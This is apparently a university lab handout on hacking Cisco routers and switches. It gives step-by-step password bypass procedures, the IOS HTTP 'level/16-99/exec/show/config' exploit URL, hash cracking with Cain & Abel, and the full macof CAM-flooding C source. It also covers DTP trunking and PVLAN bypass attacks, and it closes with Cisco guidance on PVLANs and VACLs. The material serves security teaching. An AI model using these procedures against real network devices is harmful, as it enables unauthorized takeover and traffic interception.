Router and Switch Security Report - ECE Users Pages by tlyaappjdlag


									                               ECE4112 Internetwork Security

                                Lab: Network Devices Security
Group Number: _________
Member Names: ___________________             _______________________
Authored By: Krunal Shah, Kulin Shah

Date Assigned:

Date Due:

Please read the entire lab and any extra materials carefully before starting. Be sure to start
early enough so that you will have time to complete the lab. Answer ALL questions in the
Answer Sheet and be sure you turn in ALL materials listed in the Turn-in Checklist on or before
the Date Due.

Goal:       This lab will introduce you to the concept of security of network devices. You will
learn about vulnerabilities that exist on these devices, the backbone and lifeline of the internet,
which can so easily be exploited and certain counter measures that a sys admin would take to
prevent their compromise to a certain extent.

Background: The lab gives you hands on experience on hacking into routers and
switches. This lab is important for a security expert in the sense that whenever a hacker tries to
attack a network or a subnetwork, he first has to go through the default gateway of the
network or default router in case of a subnetwork which is the entry point. If properly secured
it acts like an extra barricade that must be overcome before getting in. However, most sys
admin are ignorant and not aware of the vulnerabilities existent. This makes them the Achilles
heel of networks in terms of security.

Summary:            In the first section we will learn how to gain administrative privileges
assuming physical access and in the second, obtaining it through remote access. In the third
section we will implement CAM overflow of switch MAC address tables. The fourth section
describes a PVLAN setup and exploit on a switch while the last section deals with a vulnerability
which is on by default on switches.
Pre-lab Questions:

Q > In which format are the Cisco router and switch passwords stored?

Q > Which operating systems do Cisco routers and switches use?

Section 1: Physical access compromise

Lab Scenario: For this section of the lab you will try to gain administrative privileges to
the router and switch. Once this is achieved it is possible to modify and manipulate the
configuration settings. Like for the router you could modify or erase the routing table or simply
bring all the interfaces down. Similarly, for a switch you could modify the mac-address tables or
reconfigure VLANS to create havoc in the network. We will use the virtual XP machine and one
Cisco router and switch on the playstation to carry out the attack.

For this attack we assume that the attacker has physical access to the router however does not
have the knowledge of the passwords for administrative privileges. For this attack you will need
a terminal emulator which will be the video interface between you (the attacker) and the
router and switch console port.

1.1 Configuring Hyper – Terminal

Windows Hyper Terminal is an example of a terminal emulator. Terminals are typically
synonymous with a command line shell or text terminal. A terminal window allows the user
access to text terminal and all its applications such as command-line interfaces (CLI) and text
user interface applications. These may be running either on the same machine or on a different
one via telnet, ssh, or dial-up.
On your Windows XP machine

1). Click on programs

2). Click on Accessories

3). Select hyper terminal if available.

If it does not appear on the list of accessory programs then

1). Click on Control panel

2). Click on My Computer

3). Click on Install/Remove Programs

4). Click on Windows settings

5). Click on Communications

6). Select Hyper terminal and click apply or OK at the bottom

Enter personal information such as area code and phone number this will give a window that
replicates figure 1. Select any name for the connection, select an icon, and then click OK. In the
‘Connect To’ window, change the field ‘connect using’ to COM1 or the lowest available COM
port on the computer. Click OK. Configure the settings are as shown below. [9]

1) Set "Bits per second" to 9600.

2) Set "Data Bits" to 8.

3) Set "Stop Bits" to 1.

4) Set "Flow control" to none.

Click ok and ensure that the status shown in the lower left says connected. Once this is done
you will need to ask the TA for the console cable which you will connect to the console port of
the router and the other end to the com port of your machine. Now press enter a few times on
the keyboard. You should get a prompt from the router. Once you receive this prompt, you
have successfully got hyper terminal functional.

                                             Figure1. [10]

1.2 Logging into the router

Now, using the power switch, turn the router off and then on. Send a break signal to the router
within 60 seconds of the powerup. This will put the router into the ROM monitor (ROMMON)
mode. The break sequence would depend on your terminal emulation program. The break
signal for the HyperTerminal is (CTRL-BREAK).

Q 1.1 > What is the break signal for the Minicom terminal emulator?
1.       Now you should see the ROMMON prompt.


*** System received an abort due to Break Key ***

signal= 0x3, code= 0x500, context= 0x813ac158
PC = 0x802d0b60, Vector = 0x500, SP = 0x80006030
rommon 1 > confreg 0x2142

You must reset or power cycle for new config to take effect

rommon 2 > reset

System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)
Copyright (c) 1999 by cisco Systems, Inc.
TAC:Home:SW:IOS:Specials for info
C2600 platform with 32768 Kbytes of main memory

program load complete, entry point: 0x80008000, size: 0x6fdb4c

Self decompressing the image : ###############################
############################### [OK]


2.      Type confreg 0x2142 and press ENTER. This will set the router to boot, ignoring the
configuration stored in NVRAM. Then type reset and press ENTER to reboot. When the router
boots, it will display the following: [7]

     --- System Configuration Dialog ---

3.      Skip the initial setup procedure by pressing CTRL-C.
4.      When the Router> prompt appears, type enable and press ENTER. Copy the NVRAM
 config file into RAM with copy start run or conf mem. Then enter the configuration
 mode (conf t).
5.      Whoa!!! Now you can change the password to whatever you want to change—for
example, the enable password using the enable secret < password > command.
6.      Change the configuration register back with the config-register 0x2102 command. Leave
the configuration mode (CTRL-Z). Save the changes with copy run start or write mem. Reboot
the router.
1.3 Hacking into the switch

For the 3550 series catalyst switches: [9]

Plug in the console cable. Set your terminal emulation program as follows:

   1.   Bits per second (baud): 9600
   2.   Data bits: 8
   3.   Parity: None
   4.   Stop bits: 1

Now, carefully follow out the following procedure

   1.  Flow control: Xon/Xoff
   2.  Apply flow control.
   3.  Unplug the power cord.
   4.  Hold down the Mode button on the left side of the front panel of the switch when
       plugging in the power cable.
   5. Release the Mode button after the LED above Port 1x goes out.
   6. Send the break sequence to the switch within 15 seconds after reboot instead. Initialize
       Flash with the flash_init command.
   7. Follow it with the load_helper command.
   8. Type in dir flash: to view the file system and see how the configuration file is called.
   9. Rename the configuration file—here's an example: rename flash:config.text flash:config.bak.
   10. Issue the boot command to reboot the switch.
   11. When the Continue with configuration dialog? [yes/no]: string is displayed, answer No.
   12. Enter the enable command at the switch prompt. Rename the configuration file with its
       original name using the rename flash:config.bak flash:config.text command.
   13. Copy the initial configuration back to RAM: copy flash:config.text system:running-config. Now
       you have a normal switch configuration and the enable prompt. You can easily modify
       the config—for example:
   14. Switch#conf t
   15. Switch(config)#no enable secret
   16. Switch(config)#enable secret <youareowned>
   17. Issue the write mem command to save the modified configuration file.
Q 1.2 > Does the same switch hacking process hold true for all different Cisco switches?

Q 1.3 > What are the measures a network admin can take against this type of breach in

Section 2: Remote access
In this section we will try to modify the ACLs of the edge router for an enterprise by gaining the
remote access to the Cisco router. This is done by exploiting HTTP authentication vulnerability.
In the real world, the first step for you will be to find out the website for the target.

2.1 Getting IP address of the target router:

In the above figure, we have got the IP address of Similarly, you can get the
IP address of your target by using the internet databases After finding the IP
address we will find the edge router of the enterprise by using the traceroute command.

But, in the lab we will be using network as the target. So we will be tracing the IP
address by typing

traceroute on your RedHat WS4 Host.

This command will show you the entire path from your host to the enterprise network. The last
hop in the traceroute output will correspond to the edge router. Our aim is to get the access
this edge device.

2.2 Vulnerability scanner:

We use the vulnerability scanner “nmap” to find the operating system running and the ports
opened on the edge router.

nmap –O -sT <Router IP address>

Here the –O option is used to find the operating system of the target and the -sT option is
displays the ports open.

If the O.S. detected by nmap utility is Cisco IOS that indicates the target is a Cisco router. Now,
in the open ports if you see port 80 is opened, http authentication vulnerability can be

Q 2.1> What are other ways through which you can determine the IOS for the router??

 Vulnerability scanners typically do a great job in identifying known vulnerabilities, but can
often miss significant configuration errors. Rather, generally poor system administration leads
to the compromise of more routers than software bugs. Correspondingly, a vulnerability
scanner may report that everything is fine, when there are actually a couple different avenues a
hacker could take in assessing the router [5].
A vulnerability that affects most Cisco router is the HTTP Configuration Arbitrary Administrative
Access Vulnerability. This particular vulnerability should be found by all vulnerability scanners,
and is trivial to exploit. It often yields full remote administrative control of the affected router.

Open up a browser on your local host and type in the IP address of your target router in the
address field and then hit enter. A window will pop up asking for the username and password
click cancel. After clicking the "Cancel" button, you will enter the following URL into the address

http:/<IP address>/level/$NUMBER/exec/show/config

WHERE $NUMBER is an integer between 16 and 99, it is possible for a remote user to gain full
administrative access.

That will take you to the start up configuration of the router.

2.3 Cracking the password:

Now, you can see the router configuration and the password of the administrator but it is in
encrypted format. There are three methods a Cisco IOS uses to represent a password in a
router config file [5]. They are:

      Clear Text
      Vigenere
      MD5

enable password password Clear Text
enable password 7 104B0718071B17       Vigenere
enable secret 5 $1$yOMG$38ZIcsEmMaIjsCyQM6hya0                MD5

It's implemented using the command, "enable secret 0 password ". If the password is in clear
text there the field against password is the password, for vigenere the tool “GetPass” easily
gets the password in clear text from the hashed form. But, MD5 is an irreversible technique and
hence it is the most secure option [5].

The first thing we'll do is attempt to "crack" the enable password. It is represented in the form
of an MD5 hash, which is said to be un-crackable. We're not going to attempt to decrypt the
password, as this is not possible. Instead, we'll run a dictionary attack against it. In much the
same way as John the Ripper plows through an /etc/shadow file, the very popular tool Cain and
Abel is capable of conducting both brute-force and dictionary attacks on Cisco MD5 hashes.
This tool is described as the Swiss Army Knife of cracking tools [5].
Q2.2> What are the other uses of Cain & Abel?

Mount the nas using the command

mount /mnt/nas4112

when prompted for password use “secure_class” and then download the folder lab from the

Copy the cain and abel executable file to your XP virtual machine and install it.

To install:

1) Download and install Cain & Abel from

2) Install software and WinPcap packet capture driver

3) Reboot computer.

4) Download and install Ethereal from

5) Reboot computer.

Q2.3>How to overcome HTTP Authentication Vulnerability?

Section 3: Macof attack:
This attack is based on Content Addressable Memory (CAM) Overflow. The CAM table contains
information such as MAC addresses available on physical ports with their associated VLAN
parameters [6]. As CAM is very expensive, switches have limited amount of CAM. So, CAM
Tables are of fixed size.
                                               Figure4 [6]

We are aiming at flooding the CAM of the switches in order to spoof the traffic between
different hosts not directly connected to us. So, first the host executes the macof attack and
tries to flood the cam for both the switches. Once that is done from next time onwards any
data packet will be broadcasted across all ports on the switch.

                                               Figure5 [6]

Now, since switch has no learned route because of CAM flooding. The packet is broadcasted
and the attacker can listen to the data being transmitted across the local network.

In this section, we used Macof tool. Macof can generate 155,000 MAC entries on a switch per
minute. It took approximately 70 seconds to fill the CAM table [6]. For executing this attack,
copy the dsniff folder from the lab folder to the root folder.

Install the tools by typing:

#tar zxvf libnet-1.0.2a.tar.gz

#cd Libnet-1.0.2a

#./configure && make && make install

#cd ..

#tar zxvf libnids-1.16.tar.gz
#cd libnids-1.16

#./configure && make && make install

#cd ..

#tar zxvf dsniff-2.3.tar.gz

#cd dsniff-2.3

#./configure && make

#make install

Ignore the generated errors. Although some of the dsniff files will not compile under Red Hat
7.2, the programs we will use will.

Now, go to the dsniff-2.3 folder and have a look at the file macof.c

Compile the file using gcc –o macof macof.c

Run the file by typing


For getting incite, the switch mac table before attack is shown below:
                                              Figure6 [6]

After executing, the macof attack on one of the local host the mac table of the same switch is
shown below:
                                              Figure7 [6]

Q 3.1> Suggest some countermeasures against the macof attack?

Section 4: DTP attack
Q4.1> What is DTP? [11]

Dynamic Trunking Protocol (DTP), a Cisco proprietary protocol in the VLAN group, is for
negotiating trunking on a link between two devices and for negotiating the type of trunking
encapsulation (802.1Q) to be used. DTP negotiates what is called a common trunking mode
between ports on two interconnected switches and needs only a simple initial one-time
configuration by a network administrator. A trunking mode on Cisco Catalyst switches can be

       On, or permanent trunking mode The choice between 802.1q and ISL has to be entered
       Off, or permanent nontrunking mode No trunk creation is possible.
       Desirable Trunk creation is wanted; if the other end is configured to on, desirable, or
        auto mode, a trunk link would be established. Unlike the on mode, the choice between
        802.1q and ISL is negotiated automatically.
       Auto, also called negotiate Trunking will be successfully negotiated, if the other end is
        configured to on, or desirable mode.
       Nonnegotiate This mode is used when the other end doesn't speak DTP, since in
        nonnegotiate mode, DTP frames are not sent. The other end should be manually
        configured for trunking (on or nonnegotiate mode).

By default, trunk ports have access to all VLANs, and this presents a security issue. If an attacker
can turn a port into a trunk (by default, all switch ports are nontrunking), then all the VLANs are
belong to him.

4.2 Downloading the tool to carry out attack

   1.   You will have to mount nas and move into the lab directory
   2.   Copy yersenia-0.5.6.tar.gz into your home directory
   3.   Untar the file using tar –zxvf command
   4.   Move into the yersenia directory
   5.   Now do ./configure
   6.   Now make
   7.   Now make install

4.3 Carry out the attack [7]

This attack is implemented using Yersinia—set the interface you want to use and its parameters
and execute the attack using run dtp attack
4.4 Observe the attack

yersinia# show attacks
  No. Protocol Attack
 --- -------- ------
 0    DTP      enabling trunking


Watch the DTP frames being sent every 30 seconds.

That’s it! You may have succeeded in opening a trunk link. Start sniffing the bypassing data to
verify the success of your attack.

Q 4.1> What is the counter measure against this form of attack?

Section 5: PVLAN attack
PVLANs [12] are a brand new concept used in a switch. Here basically each port is configured as
PROTECTED thus within a single switch if you want isolation you would need multiple IP
addresses to put them in different VLANs but with PVLAN you can isolate ports without the use
of multiple IP’s. The 3550 Catalyst currently in our lab does not support this feature but other
ones like the 3560 and 3750 Catalyst do support it.

                                                Figure9. [7]

Our attacker is machine A and victim is machine B. Both are connected to the same switch and
hence in the same network. A router is connected to the switch. Now let us configure the
switch to form a PVLAN using

   1.   Switch> enable
   2.   Password: owen
   3.   Switch# config t
   4.   Switch(config)#int fa 0/1
   5.   Switch(config-if)switchport protected

Similarly we do the same for machine B on interface 0/2. Now try sending a packet from A to B
and you will observe that the packet is dropped.

Q 5.1> What is the advantage of configuring PVLANs?

5.2 Carrying out the attack

Now let us carry out the attack where we trick the router into forwarding the packet to the
switch which in turn sends it to B.
1. We use Dsniff to generate packets. Now, what we need to do is spoof the mac address
   of the router. So, simply ping the router and keep ethereal on.
2. Observe the mac of the router and now put the destination mac of the packets as that
   of the router.
3. Use the packet generator and you will have to insert the mac into the socket code
   where destination mac header is present.
4. The router receives the packet and observes that it is destined to B and so forwards it to
   the switch after changing the source mac from that of A to itself.
5. The switch is a layer 2 device and is fooled into believing that the packet originated from
   outside because it has the source mac as that of the router.

                                          Figure10. [7]





  6. “Virtual LAN Security: weaknesses and countermeasures GIAC Security
     Essentials Practical Assignment” - Steve A. Rouiller

  7. “Hacking Exposed Cisco Security Secrets and Solutions”- Andrew A.
     Vladimirov, Konstantin V. Gavrilenko, Janis N. Vizulis and Andrei A.










 C port of macof-1.1 from the Perl Net::RawIP distribution.
 Tests network devices by flooding local network with MAC-addresses.

 Perl macof originally written by Ian Vitek <>.

 Copyright (c) 1999 Dug Song <>

 $Id: macof.c,v 1.13 2000/09/21 03:04:41 dugsong Exp $

#include "config.h"

#include <sys/types.h>
#include <sys/param.h>
#include <stdio.h>
#include <string.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>

#include "version.h"

extern char *ether_ntoa(struct ether_addr *);
extern struct ether_addr *ether_aton(char *);

in_addr_t     Src = 0;
in_addr_t     Dst = 0;
u_char *Tha = NULL;
u_short       Dport = 0;
u_short Sport = 0;
char *Intf = NULL;
int    Repeat = -1;
       fprintf(stderr, "Version: " VERSION "\n"
                "Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]"
                "\n       [-i interface] [-n times]\n");

gen_mac(u_char *mac)
     *((in_addr_t *)mac) = libnet_get_prand(PRu32);
     *((u_short *)(mac + 4)) = libnet_get_prand(PRu16);

main(int argc, char *argv[])
       int c, i;
       struct libnet_link_int *llif;
       char ebuf[PCAP_ERRBUF_SIZE];
       u_char sha[ETHER_ADDR_LEN], tha[ETHER_ADDR_LEN];
       in_addr_t src, dst;
       u_short sport, dport;
       u_int32_t seq;
       u_char pkt[ETH_H + IP_H + TCP_H];

        while ((c = getopt(argc, argv, "vs:d:e:x:y:i:n:h?V")) != -1) {
                switch (c) {
                case 'v':
                case 's':
                         Src = libnet_name_resolve(optarg, 0);
                case 'd':
                         Dst = libnet_name_resolve(optarg, 0);
                case 'e':
                         Tha = (u_char *)ether_aton(optarg);
                case 'x':
                         Sport = atoi(optarg);
        case 'y':
                  Dport = atoi(optarg);
        case 'i':
                  Intf = optarg;
        case 'n':
                  Repeat = atoi(optarg);
argc -= optind;
argv += optind;

if (argc != 0)

if (!Intf && (Intf = pcap_lookupdev(ebuf)) == NULL)
          errx(1, "%s", ebuf);

if ((llif = libnet_open_link_interface(Intf, ebuf)) == 0)
           errx(1, "%s", ebuf);


for (i = 0; i != Repeat; i++) {


        if (Tha == NULL) gen_mac(tha);
        else memcpy(tha, Tha, sizeof(tha));

        if (Src != 0) src = Src;
        else src = libnet_get_prand(PRu32);

        if (Dst != 0) dst = Dst;
        else dst = libnet_get_prand(PRu32);

        if (Sport != 0) sport = Sport;
        else sport = libnet_get_prand(PRu16);

        if (Dport != 0) dport = Dport;
                  else dport = libnet_get_prand(PRu16);

                  seq = libnet_get_prand(PRu32);

                  libnet_build_ethernet(tha, sha, ETHERTYPE_IP, NULL, 0, pkt);

                  libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 64,
                                 IPPROTO_TCP, src, dst, NULL, 0, pkt + ETH_H);

                  libnet_build_tcp(sport, dport, seq, 0, TH_SYN, 512,
                                 0, NULL, 0, pkt + ETH_H + IP_H);

                  libnet_do_checksum(pkt + ETH_H, IPPROTO_IP, IP_H);
                  libnet_do_checksum(pkt + ETH_H, IPPROTO_TCP, TCP_H);

                  if (libnet_write_link_layer(llif, Intf, pkt, sizeof(pkt)) < 0)
                           errx(1, "write");

                  fprintf(stderr, "%s ",
                          ether_ntoa((struct ether_addr *)sha));
                  fprintf(stderr, "%s %s.%d > %s.%d: S %u:%u(0) win 512\n",
                          ether_ntoa((struct ether_addr *)tha),
                          libnet_host_lookup(Src, 0), sport,
                          libnet_host_lookup(Dst, 0), dport, seq, seq);

/* 5000 */


One of the key factors to building a successful network security design is to identify and enforce
a proper trust model. The proper trust model defines who needs to talk to whom and what kind
of traffic needs to be exchanged; all other traffic should be denied. Once the proper trust model
has been identified, then the security designer should decide how to enforce the model. As
more critical resources are globally available and new forms of network attacks evolve, the
network security infrastructure tends to become more sophisticated, and more products are
available. Firewalls, routers, LAN switches, intrusion detection systems, AAA servers, and VPNs
are some of the technologies and products that can help enforce the model. Of course, each
one of these products and technologies plays a particular role within the overall security
implementation, and it is essential for the designer to understand how these elements can be

Before You Begin


For more information on document conventions, see the Cisco Technical Tips Conventions.


This document describes PVLAN configurations on switches running CatOS only. For side-by-
side configuration examples of PVLANs on switches running Cisco IOS and CatOS, refer to the
document Configuring Isolated Private VLANs on Catalyst Switches.

Not all switches and software versions support PVLANs. Refer to Private VLAN Catalyst Switch
Support Matrix to determine whether your platform and software version supports PVLANs.

Components Used

This document is not restricted to specific software and hardware versions.
Background Information

Identifying and enforcing a proper trust model seems to be a very basic task, but after several
years of supporting security implementations, our experience indicates that security incidents
are often related to poor security designs. Usually these poor designs are a direct consequence
of not enforcing a proper trust model, sometimes because what is just necessary is not
understood, other times just because the technologies involved are not fully understood or are

This document explains in detail how two features available in our Catalyst switches, Private
VLANs (PVLANs) and VLAN Access Control Lists (VACLs), can help ensure an adequate trust
model in both enterprise as well as service provider environments.

Importance of Enforcing a Proper Trust Model

An immediate consequence of not enforcing an adequate trust model is that the overall
security implementation becomes less immune to malicious activities. Demilitarized Zones
(DMZs) are commonly implemented without enforcing the right policies, thus facilitating the
activity of a potential intruder. This section analyzes how DMZs are often implemented and the
consequences of a poor design. We will later explain how to mitigate, or in the best case avoid,
these consequences.

Usually, DMZ servers are only supposed to process incoming requests from the Internet, and
eventually initiate connections to some back-end servers located at an inside or other DMZ
segment, such as a database server. At the same time, DMZ servers are not supposed to talk to
each other or initiate any connections to the outside world. This clearly defines the necessary
traffic flows in a simple trust model; however, we often see this kind of model not adequately

Designers usually tend to implement DMZs using a common segment for all servers without any
control over the traffic between them. For example, all servers are located in a common VLAN.
Since nothing is controlling the traffic within the same VLAN, if one of the servers is
compromised, then the same server can be exploited to source an attack to any of the servers
and hosts in the same segment. This clearly facilitates the activity of a potential intruder
conducting a port redirection or Application Layer attack.

Typically, firewalls and packet filters are only used to control incoming connections, but nothing
is usually done to restrict connections originated from the DMZ. Some time ago there was a
well-known vulnerability in a cgi-bin script that allowed an intruder to begin an X-term session
by just sending an HTTP stream; this is traffic that should be allowed by the firewall. If the
intruder was lucky enough, he or she could use another treat to get a root prompt, typically
some kind of buffer overflow attack. Most of the times, these kinds of problems can be avoided
by enforcing a proper trust model. First, servers are not supposed to talk to each other, and
second no connections should be originated from these servers to the outside world.

The same comments apply to many other scenarios, going from any regular un-trusted segment
up to server farms at application service providers.

PVLANs and VACLs on Catalyst switches can help ensure a proper trust model. PVLANs will help
by restricting the traffic between hosts in a common segment, while VACLs will contribute by
providing further control over any traffic flow originated or destined to a particular segment.
These features are discussed in the following sections.

Private VLANs

PVLANs are available on the Catalyst 6000 running CatOS 5.4 or later, on the Catalyst 4000,
2980G, 2980G-A, 2948G, and 4912G running CatOS 6.2 or later.

From our perspective, PVLANs are a tool that allows segregating traffic at Layer 2 (L2) turning a
broadcast segment into a non-broadcast multi-access-like segment. Traffic that comes to a
switch from a promiscuous port (that is, a port that is capable of forwarding both primary and
secondary VLANs) is able to go out on all the ports that belong to the same primary VLAN.
Traffic that comes to a switch from a port mapped to a secondary VLAN (it can be either an
isolated, a community, or a two-way community VLAN) can be forwarded to a promiscuous
port or a port belonging to the same community VLAN. Multiple ports mapped to the same
isolated VLAN cannot exchange any traffic.

The following image shows the concept.

Figure 1: Private VLANs
The primary VLAN is represented in blue; the secondary VLANs are represented in red and
yellow. Host-1 is connected to a port of the switch that belongs to the secondary VLAN red.
Host-2 is connected to a port of the switch that belongs to the secondary VLAN yellow.

When a host is transmitting, the traffic is carried in the secondary VLAN. For example, when
Host-2 transmits, its traffic goes on VLAN yellow. When those hosts are receiving, the traffic
comes from the VLAN blue, which is the primary VLAN.

The ports where routers and firewalls are connected are promiscuous ports because those
ports can forward traffic coming from every secondary VLAN defined in the mapping as well as
the primary VLAN. The ports connected to each hosts can only forward the traffic coming from
the primary VLAN and the secondary VLAN configured on that port.

The drawing represents the private VLANs as different pipes that connect routers and hosts: the
pipe that bundles all the others is the primary VLAN (blue), and the traffic on VLAN blue flows
from the routers to the hosts. The pipes internal to the primary VLAN are the secondary VLANs,
and the traffic traveling on those pipes is from the hosts towards the router.

As the image is showing, a primary VLAN can bundle one or more secondary VLANs.

Earlier in this document we said PVLANs help enforce the proper trust model by simply
ensuring the segregation of hosts within a common segment. Now that we know more about
Private VLANs, let us see how this can be implemented in our initial DMZ scenario. Servers are
not supposed to talk to each other, but they still need to talk to the firewall or router to which
they are connected. In this case, servers should be connected to isolated ports while routers
and firewalls should be attached to promiscuous ports. By doing this, if one of the servers is
compromised, the intruder won't be able to use the same server to source an attack to another
server within the same segment. The switch will drop any packet at wire speed, without any
performance penalty.

Another important note is that this kind of control can only be implemented at the L2 device
because all servers belong to the same subnet. There is nothing a firewall or router can do since
servers will try to communicate directly. Another option is to dedicate a firewall port per server,
but this is likely too expensive, difficult to implement, and does not scale.

In a later section, we describe in detail some other typical scenarios in which you can use this

VLAN Access Control Lists

VACLs are available on the Catalyst 6000 series running CatOS 5.3 or later.

VACLs can be configured on a Catalyst 6500 at L2 without the need for a router (you only need
a Policy Feature Card (PFC) ). They are enforced at wire speed so there is no performance
penalty in configuring VACLs on a Catalyst 6500. Since the lookup of VACLs is performed in
hardware, regardless of the size of the access list, the forwarding rate remains unchanged.

VACLs can be mapped separately to primary or secondary VLANs. Having a VACL configured on
a secondary VLAN allows filtering the traffic originated by hosts without touching the traffic
generated by routers or firewalls.

By combining VACLs and Private VLANs it is possible to filter traffic based on the direction of the
traffic itself. For example, if two routers are connected to the same segment as some hosts
(servers for example), VACLs can be configured on secondary VLANs so that only the traffic
generated by the hosts is filtered while the traffic exchanged between the routers is

VACLs can be easily deployed to enforce the proper trust model. Let's analyze our DMZ case.
Servers at the DMZ are supposed to serve incoming connections only, and they are not
expected to initiate connections to the outside world. A VACL can be applied to their secondary
VLAN in order to control the traffic leaving these servers. It is crucial to note that when using
VACLs, the traffic is dropped in hardware so there is no impact on the CPU of the router nor of
the switch. Even in the case that one of the servers is involved in a Distributed Denial of Service
(DDoS) attack as a source, the switch will drop all illegitimate traffic at wire speed, without any
performance penalty. Similar filters can be applied in the router or firewall where servers are
connected to, but this usually has severe performance implications.

Known Limitations of VACLs and PVLANs
When configuring filtering with VACLs, you should be careful with regard to the fragment
handling on the PFC, and that the configuration is tuned according to the specification of the

Given the hardware design of the PFC of the Supervisor 1 of the Catalyst 6500, it is better to
explicitly deny the icmp fragments. The reason is that Internet Control Message Protocol (ICMP)
fragments and echo-reply are considered the same by the hardware, and by default the
hardware is programmed to explicitly permit fragments. So if you want to stop echo-reply
packets from leaving the servers, you explicitly have to configure this with the line deny icmp
any any fragment. The configurations in this document take this into account.

There is a well-known security limitation to PVLANs, which is the possibility that a router
forwards traffic back out of the same subnet from which it came. A router can route traffic
across isolated ports defeating the purpose of PVLANs. This limitation is due to the fact that
PVLANs are a tool that provides isolation at L2, not at Layer 3 (L3).

Unicast Reverse Path Forwarding (uRPF) does not work well with PVLAN host ports, so uRPF
must not be used in combination with PVLAN.

There is a fix to this problem, which is achieved by means of VACLs configured on the primary
VLANs. The case study provides the VACLs that need to be configured on the primary VLAN to
drops the traffic originated by the same subnet and routed back to the same subnet.

On some line cards, the configuration of PVLAN mappings / maps / trunking ports is subject to
some restrictions where multiple PVLAN mappings have to belong to different port Application-
Specific Integrated Circuits (ASICs) in order to get configured. Those restrictions are removed on
the new port ASIC Coil3. Please refer to the latest Catalyst switch documentation on software
configuration for these details

To top